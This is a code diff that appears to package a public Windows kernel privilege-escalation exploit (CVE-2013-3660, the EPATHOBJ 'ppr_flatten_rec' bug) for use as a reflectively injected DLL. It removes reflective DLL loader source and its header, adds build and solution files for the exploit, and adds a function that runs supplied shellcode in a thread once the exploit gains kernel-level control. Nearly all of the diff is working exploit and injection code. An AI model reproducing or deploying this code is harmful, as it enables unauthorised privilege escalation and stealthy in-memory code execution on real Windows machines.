|
|
||||||
// uiNameArray = the address of the modules export directory entry
|
|
||||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
|
||||||
|
|
||||||
// get the VA of the export directory
|
|
||||||
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
|
||||||
|
|
||||||
// get the VA for the array of addresses
|
|
||||||
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
|
||||||
|
|
||||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
|
||||||
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
|
|
||||||
|
|
||||||
// patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
// get the VA of this functions import by name struct
|
|
||||||
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
|
|
||||||
|
|
||||||
// use GetProcAddress and patch in the address for this imported function
|
|
||||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
|
|
||||||
}
|
|
||||||
// get the next imported function
|
|
||||||
uiValueA += sizeof( ULONG_PTR );
|
|
||||||
if( uiValueD )
|
|
||||||
uiValueD += sizeof( ULONG_PTR );
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next import
|
|
||||||
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 5: process all of our images relocations...
|
|
||||||
|
|
||||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
|
||||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
|
||||||
|
|
||||||
// uiValueB = the address of the relocation directory
|
|
||||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
|
|
||||||
|
|
||||||
// check if their are any relocations present
|
|
||||||
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
|
|
||||||
{
|
|
||||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
|
||||||
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
|
|
||||||
|
|
||||||
// and we itterate through all entries...
|
|
||||||
while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
|
|
||||||
{
|
|
||||||
// uiValueA = the VA for this relocation block
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
|
|
||||||
|
|
||||||
// uiValueB = number of entries in this relocation block
|
|
||||||
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
|
|
||||||
|
|
||||||
// uiValueD is now the first entry in the current relocation block
|
|
||||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
|
||||||
|
|
||||||
// we itterate through all the entries in the current block...
|
|
||||||
while( uiValueB-- )
|
|
||||||
{
|
|
||||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
|
||||||
// we dont use a switch statement to avoid the compiler building a jump table
|
|
||||||
// which would not be very position independent!
|
|
||||||
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
|
|
||||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
|
|
||||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
|
||||||
#ifdef WIN_ARM
|
|
||||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T )
|
|
||||||
{
|
|
||||||
register DWORD dwInstruction;
|
|
||||||
register DWORD dwAddress;
|
|
||||||
register WORD wImm;
|
|
||||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
|
||||||
dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) );
|
|
||||||
// flip the words to get the instruction as expected
|
|
||||||
dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
|
||||||
// sanity chack we are processing a MOV instruction...
|
|
||||||
if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT )
|
|
||||||
{
|
|
||||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
|
||||||
wImm = (WORD)( dwInstruction & 0x000000FF);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
|
||||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
|
||||||
// apply the relocation to the target address
|
|
||||||
dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF;
|
|
||||||
// now create a new instruction with the same opcode and register param.
|
|
||||||
dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 );
|
|
||||||
// patch in the relocated address...
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
|
||||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
|
||||||
// now flip the instructions words and patch back into the code...
|
|
||||||
*(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) );
|
|
||||||
}
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
|
|
||||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
|
||||||
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
|
|
||||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
|
||||||
|
|
||||||
// get the next entry in the current relocation block
|
|
||||||
uiValueD += sizeof( IMAGE_RELOC );
|
|
||||||
}
|
|
||||||
|
|
||||||
// get the next entry in the relocation directory
|
|
||||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// STEP 6: call our images entry point
|
|
||||||
|
|
||||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
|
||||||
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
|
|
||||||
|
|
||||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
|
||||||
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
|
|
||||||
|
|
||||||
// call our respective entry point, fudging our hInstance value
|
|
||||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
||||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
|
||||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
|
|
||||||
#else
|
|
||||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
|
||||||
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
|
||||||
return uiValueA;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
|
|
||||||
{
|
|
||||||
BOOL bReturnValue = TRUE;
|
|
||||||
switch( dwReason )
|
|
||||||
{
|
|
||||||
case DLL_QUERY_HMODULE:
|
|
||||||
if( lpReserved != NULL )
|
|
||||||
*(HMODULE *)lpReserved = hAppInstance;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
hAppInstance = hinstDLL;
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return bReturnValue;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -1,202 +0,0 @@
|
||||||
//===============================================================================================//
|
|
||||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
|
||||||
// All rights reserved.
|
|
||||||
//
|
|
||||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
|
||||||
// provided that the following conditions are met:
|
|
||||||
//
|
|
||||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer.
|
|
||||||
//
|
|
||||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
|
||||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
|
||||||
// with the distribution.
|
|
||||||
//
|
|
||||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
|
||||||
// endorse or promote products derived from this software without specific prior written permission.
|
|
||||||
//
|
|
||||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
|
||||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
|
||||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
|
||||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
|
||||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
// POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
//===============================================================================================//
|
|
||||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
|
||||||
//===============================================================================================//
|
|
||||||
#define WIN32_LEAN_AND_MEAN
|
|
||||||
#include <windows.h>
|
|
||||||
#include <Winsock2.h>
|
|
||||||
#include <intrin.h>
|
|
||||||
#include "ReflectiveDLLInjection.h"
|
|
||||||
|
|
||||||
typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR );
|
|
||||||
typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR );
|
|
||||||
typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD );
|
|
||||||
typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG );
|
|
||||||
|
|
||||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
|
||||||
#define NTDLLDLL_HASH 0x3CFA685D
|
|
||||||
|
|
||||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
|
||||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
|
||||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
|
||||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
|
||||||
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
|
||||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
|
||||||
|
|
||||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
|
||||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
|
||||||
#define ARM_MOVW 0xF2400000
|
|
||||||
#define ARM_MOVT 0xF2C00000
|
|
||||||
|
|
||||||
#define HASH_KEY 13
|
|
||||||
//===============================================================================================//
|
|
||||||
#pragma intrinsic( _rotr )
|
|
||||||
|
|
||||||
__forceinline DWORD ror( DWORD d )
|
|
||||||
{
|
|
||||||
return _rotr( d, HASH_KEY );
|
|
||||||
}
|
|
||||||
|
|
||||||
__forceinline DWORD hash( char * c )
|
|
||||||
{
|
|
||||||
register DWORD h = 0;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
h = ror( h );
|
|
||||||
h += *c;
|
|
||||||
} while( *++c );
|
|
||||||
|
|
||||||
return h;
|
|
||||||
}
|
|
||||||
//===============================================================================================//
|
|
||||||
typedef struct _UNICODE_STR
|
|
||||||
{
|
|
||||||
USHORT Length;
|
|
||||||
USHORT MaximumLength;
|
|
||||||
PWSTR pBuffer;
|
|
||||||
} UNICODE_STR, *PUNICODE_STR;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
|
||||||
//__declspec( align(8) )
|
|
||||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
|
||||||
{
|
|
||||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
PVOID DllBase;
|
|
||||||
PVOID EntryPoint;
|
|
||||||
ULONG SizeOfImage;
|
|
||||||
UNICODE_STR FullDllName;
|
|
||||||
UNICODE_STR BaseDllName;
|
|
||||||
ULONG Flags;
|
|
||||||
SHORT LoadCount;
|
|
||||||
SHORT TlsIndex;
|
|
||||||
LIST_ENTRY HashTableEntry;
|
|
||||||
ULONG TimeDateStamp;
|
|
||||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
|
||||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
|
||||||
{
|
|
||||||
DWORD dwLength;
|
|
||||||
DWORD dwInitialized;
|
|
||||||
LPVOID lpSsHandle;
|
|
||||||
LIST_ENTRY InLoadOrderModuleList;
|
|
||||||
LIST_ENTRY InMemoryOrderModuleList;
|
|
||||||
LIST_ENTRY InInitializationOrderModuleList;
|
|
||||||
LPVOID lpEntryInProgress;
|
|
||||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
|
||||||
|
|
||||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
|
||||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
|
||||||
{
|
|
||||||
struct _PEB_FREE_BLOCK * pNext;
|
|
||||||
DWORD dwSize;
|
|
||||||
} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
|
|
||||||
|
|
||||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
|
||||||
// WinDbg> dt -v ntdll!_PEB
|
|
||||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
|
||||||
{
|
|
||||||
BYTE bInheritedAddressSpace;
|
|
||||||
BYTE bReadImageFileExecOptions;
|
|
||||||
BYTE bBeingDebugged;
|
|
||||||
BYTE bSpareBool;
|
|
||||||
LPVOID lpMutant;
|
|
||||||
LPVOID lpImageBaseAddress;
|
|
||||||
PPEB_LDR_DATA pLdr;
|
|
||||||
LPVOID lpProcessParameters;
|
|
||||||
LPVOID lpSubSystemData;
|
|
||||||
LPVOID lpProcessHeap;
|
|
||||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
|
||||||
LPVOID lpFastPebLockRoutine;
|
|
||||||
LPVOID lpFastPebUnlockRoutine;
|
|
||||||
DWORD dwEnvironmentUpdateCount;
|
|
||||||
LPVOID lpKernelCallbackTable;
|
|
||||||
DWORD dwSystemReserved;
|
|
||||||
DWORD dwAtlThunkSListPtr32;
|
|
||||||
PPEB_FREE_BLOCK pFreeList;
|
|
||||||
DWORD dwTlsExpansionCounter;
|
|
||||||
LPVOID lpTlsBitmap;
|
|
||||||
DWORD dwTlsBitmapBits[2];
|
|
||||||
LPVOID lpReadOnlySharedMemoryBase;
|
|
||||||
LPVOID lpReadOnlySharedMemoryHeap;
|
|
||||||
LPVOID lpReadOnlyStaticServerData;
|
|
||||||
LPVOID lpAnsiCodePageData;
|
|
||||||
LPVOID lpOemCodePageData;
|
|
||||||
LPVOID lpUnicodeCaseTableData;
|
|
||||||
DWORD dwNumberOfProcessors;
|
|
||||||
DWORD dwNtGlobalFlag;
|
|
||||||
LARGE_INTEGER liCriticalSectionTimeout;
|
|
||||||
DWORD dwHeapSegmentReserve;
|
|
||||||
DWORD dwHeapSegmentCommit;
|
|
||||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
|
||||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
|
||||||
DWORD dwNumberOfHeaps;
|
|
||||||
DWORD dwMaximumNumberOfHeaps;
|
|
||||||
LPVOID lpProcessHeaps;
|
|
||||||
LPVOID lpGdiSharedHandleTable;
|
|
||||||
LPVOID lpProcessStarterHelper;
|
|
||||||
DWORD dwGdiDCAttributeList;
|
|
||||||
LPVOID lpLoaderLock;
|
|
||||||
DWORD dwOSMajorVersion;
|
|
||||||
DWORD dwOSMinorVersion;
|
|
||||||
WORD wOSBuildNumber;
|
|
||||||
WORD wOSCSDVersion;
|
|
||||||
DWORD dwOSPlatformId;
|
|
||||||
DWORD dwImageSubsystem;
|
|
||||||
DWORD dwImageSubsystemMajorVersion;
|
|
||||||
DWORD dwImageSubsystemMinorVersion;
|
|
||||||
DWORD dwImageProcessAffinityMask;
|
|
||||||
DWORD dwGdiHandleBuffer[34];
|
|
||||||
LPVOID lpPostProcessInitRoutine;
|
|
||||||
LPVOID lpTlsExpansionBitmap;
|
|
||||||
DWORD dwTlsExpansionBitmapBits[32];
|
|
||||||
DWORD dwSessionId;
|
|
||||||
ULARGE_INTEGER liAppCompatFlags;
|
|
||||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
|
||||||
LPVOID lppShimData;
|
|
||||||
LPVOID lpAppCompatInfo;
|
|
||||||
UNICODE_STR usCSDVersion;
|
|
||||||
LPVOID lpActivationContextData;
|
|
||||||
LPVOID lpProcessAssemblyStorageMap;
|
|
||||||
LPVOID lpSystemDefaultActivationContextData;
|
|
||||||
LPVOID lpSystemAssemblyStorageMap;
|
|
||||||
DWORD dwMinimumStackCommit;
|
|
||||||
} _PEB, * _PPEB;
|
|
||||||
|
|
||||||
typedef struct
|
|
||||||
{
|
|
||||||
WORD offset:12;
|
|
||||||
WORD type:4;
|
|
||||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
|
||||||
//===============================================================================================//
|
|
||||||
#endif
|
|
||||||
//===============================================================================================//
|
|
||||||
|
|
@ -0,0 +1,18 @@
|
||||||
|
<?xml version="1.0" standalone="yes"?>
|
||||||
|
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup>
|
||||||
|
<SolutionPath>.\ppr_flatten_rec.sln</SolutionPath>
|
||||||
|
</PropertyGroup>
|
||||||
|
|
||||||
|
<Target Name="all" DependsOnTargets="x86" />
|
||||||
|
|
||||||
|
<Target Name="x86">
|
||||||
|
<Message Text="Building CVE-2013-3660 ppr_flatten_rc x86 Release version" />
|
||||||
|
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
|
||||||
|
</Target>
|
||||||
|
|
||||||
|
<Target Name="x64">
|
||||||
|
<Message Text="ppr_flatten_rec is not supported in x64" />
|
||||||
|
</Target>
|
||||||
|
</Project>
|
||||||
|
|
||||||
|
|
@ -0,0 +1,22 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ppr_flatten_rec", "ppr_flatten_rec\ppr_flatten_rec.vcxproj", "{942BF20A-E438-48B0-A614-A6E0CC2E94BD}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{942BF20A-E438-48B0-A614-A6E0CC2E94BD}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
|
|
@ -418,19 +418,10 @@
|
||||||
# define WIN32_NO_STATUS
|
# define WIN32_NO_STATUS
|
||||||
#endif
|
#endif
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdarg.h>
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <windows.h>
|
|
||||||
#include <assert.h>
|
|
||||||
#ifdef WIN32_NO_STATUS
|
#ifdef WIN32_NO_STATUS
|
||||||
# undef WIN32_NO_STATUS
|
# undef WIN32_NO_STATUS
|
||||||
#endif
|
#endif
|
||||||
#include <ntstatus.h>
|
|
||||||
|
|
||||||
#pragma comment(lib, "gdi32")
|
|
||||||
#pragma comment(lib, "kernel32")
|
|
||||||
#pragma comment(lib, "user32")
|
|
||||||
#pragma comment(lib, "shell32")
|
|
||||||
#pragma comment(linker, "/SECTION:.text,ERW")
|
#pragma comment(linker, "/SECTION:.text,ERW")
|
||||||
|
|
||||||
#ifndef PAGE_SIZE
|
#ifndef PAGE_SIZE
|
||||||
|
|
@ -448,11 +439,6 @@ static ULONG ComplexPathNumRegion = 0;
|
||||||
static HANDLE Mutex;
|
static HANDLE Mutex;
|
||||||
static DWORD ComplexPathFinished = 0;
|
static DWORD ComplexPathFinished = 0;
|
||||||
|
|
||||||
// Log levels.
|
|
||||||
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
|
||||||
|
|
||||||
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
|
|
||||||
|
|
||||||
// Copied from winddi.h from the DDK
|
// Copied from winddi.h from the DDK
|
||||||
#define PD_BEGINSUBPATH 0x00000001
|
#define PD_BEGINSUBPATH 0x00000001
|
||||||
#define PD_ENDSUBPATH 0x00000002
|
#define PD_ENDSUBPATH 0x00000002
|
||||||
|
|
@ -509,21 +495,24 @@ ULONG HalQuerySystemInformation;
|
||||||
PULONG TargetPid;
|
PULONG TargetPid;
|
||||||
PVOID *PsInitialSystemProcess;
|
PVOID *PsInitialSystemProcess;
|
||||||
|
|
||||||
VOID elevator_complex_path();
|
//#define DEBUGTRACE 1
|
||||||
|
|
||||||
//#define DEBUGTRACE 1
|
// Log levels.
|
||||||
|
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
|
||||||
#ifdef DEBUGTRACE
|
|
||||||
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
#ifdef DEBUGTRACE
|
||||||
#else
|
VOID LogMessage(LEVEL Level, PCHAR Format, ...);
|
||||||
#define dprintf(...) do{}while(0);
|
|
||||||
#endif
|
#define dprintf(...) real_dprintf(__VA_ARGS__)
|
||||||
|
static void real_dprintf(char *format, ...) {
|
||||||
static void real_dprintf(char *format, ...) {
|
va_list args;
|
||||||
va_list args;
|
char buffer[1024];
|
||||||
char buffer[1024];
|
va_start(args,format);
|
||||||
va_start(args,format);
|
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
OutputDebugStringA(buffer);
|
||||||
OutputDebugStringA(buffer);
|
}
|
||||||
}
|
#else
|
||||||
|
#define dprintf(...)
|
||||||
|
#define LogMessage(...)
|
||||||
|
#endif
|
||||||
|
|
@ -1,15 +1,15 @@
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
// This is a stub for the actuall functionality of the DLL.
|
// This is a stub for the actual functionality of the DLL.
|
||||||
//===============================================================================================//
|
//===============================================================================================//
|
||||||
|
|
||||||
// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||||
// DllMain and use the LoadRemoteLibraryR() API to inject this DLL.
|
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||||
//===============================================================================================//
|
|
||||||
|
|
||||||
#include "ReflectiveLoader.h"
|
|
||||||
#include "ComplexPath.h"
|
#include "ComplexPath.h"
|
||||||
|
|
||||||
|
// Purloined from ntstatus.h
|
||||||
|
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
|
||||||
|
|
||||||
//
|
//
|
||||||
// --------------------------------------------------
|
// --------------------------------------------------
|
||||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||||
|
|
@ -550,7 +550,20 @@ VOID __declspec(naked) HalDispatchRedirect(VOID)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID elevator_complex_path()
|
/*!
|
||||||
|
* @brief Helper thread function which runs the given payload directly.
|
||||||
|
* @param lpPayload The payload shellcode to execute.
|
||||||
|
* @returns \c ERROR_SUCCESS
|
||||||
|
*/
|
||||||
|
DWORD WINAPI execute_payload(LPVOID lpPayload)
|
||||||
|
{
|
||||||
|
LogMessage(L_INFO, "[PPRFLATTENREC] Payload thread started.");
|
||||||
|
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||||
|
lpCode();
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
VOID elevator_complex_path(LPVOID lpPayload)
|
||||||
{
|
{
|
||||||
HANDLE Thread;
|
HANDLE Thread;
|
||||||
HDC Device;
|
HDC Device;
|
||||||
|
|
@ -566,6 +579,12 @@ VOID elevator_complex_path()
|
||||||
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
|
"\rWindows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit\n"
|
||||||
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
|
"\r------------------- taviso@cmpxchg8b.com, programmeboy@gmail.com ---\n"
|
||||||
"\n");
|
"\n");
|
||||||
|
|
||||||
|
if (lpPayload == NULL) {
|
||||||
|
LogMessage(L_ERROR, "[PRFLATTENREC] payload argument not specified");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
|
NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll"), "NtQueryIntervalProfile");
|
||||||
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
|
||||||
Mutex = CreateMutex(NULL, FALSE, NULL);
|
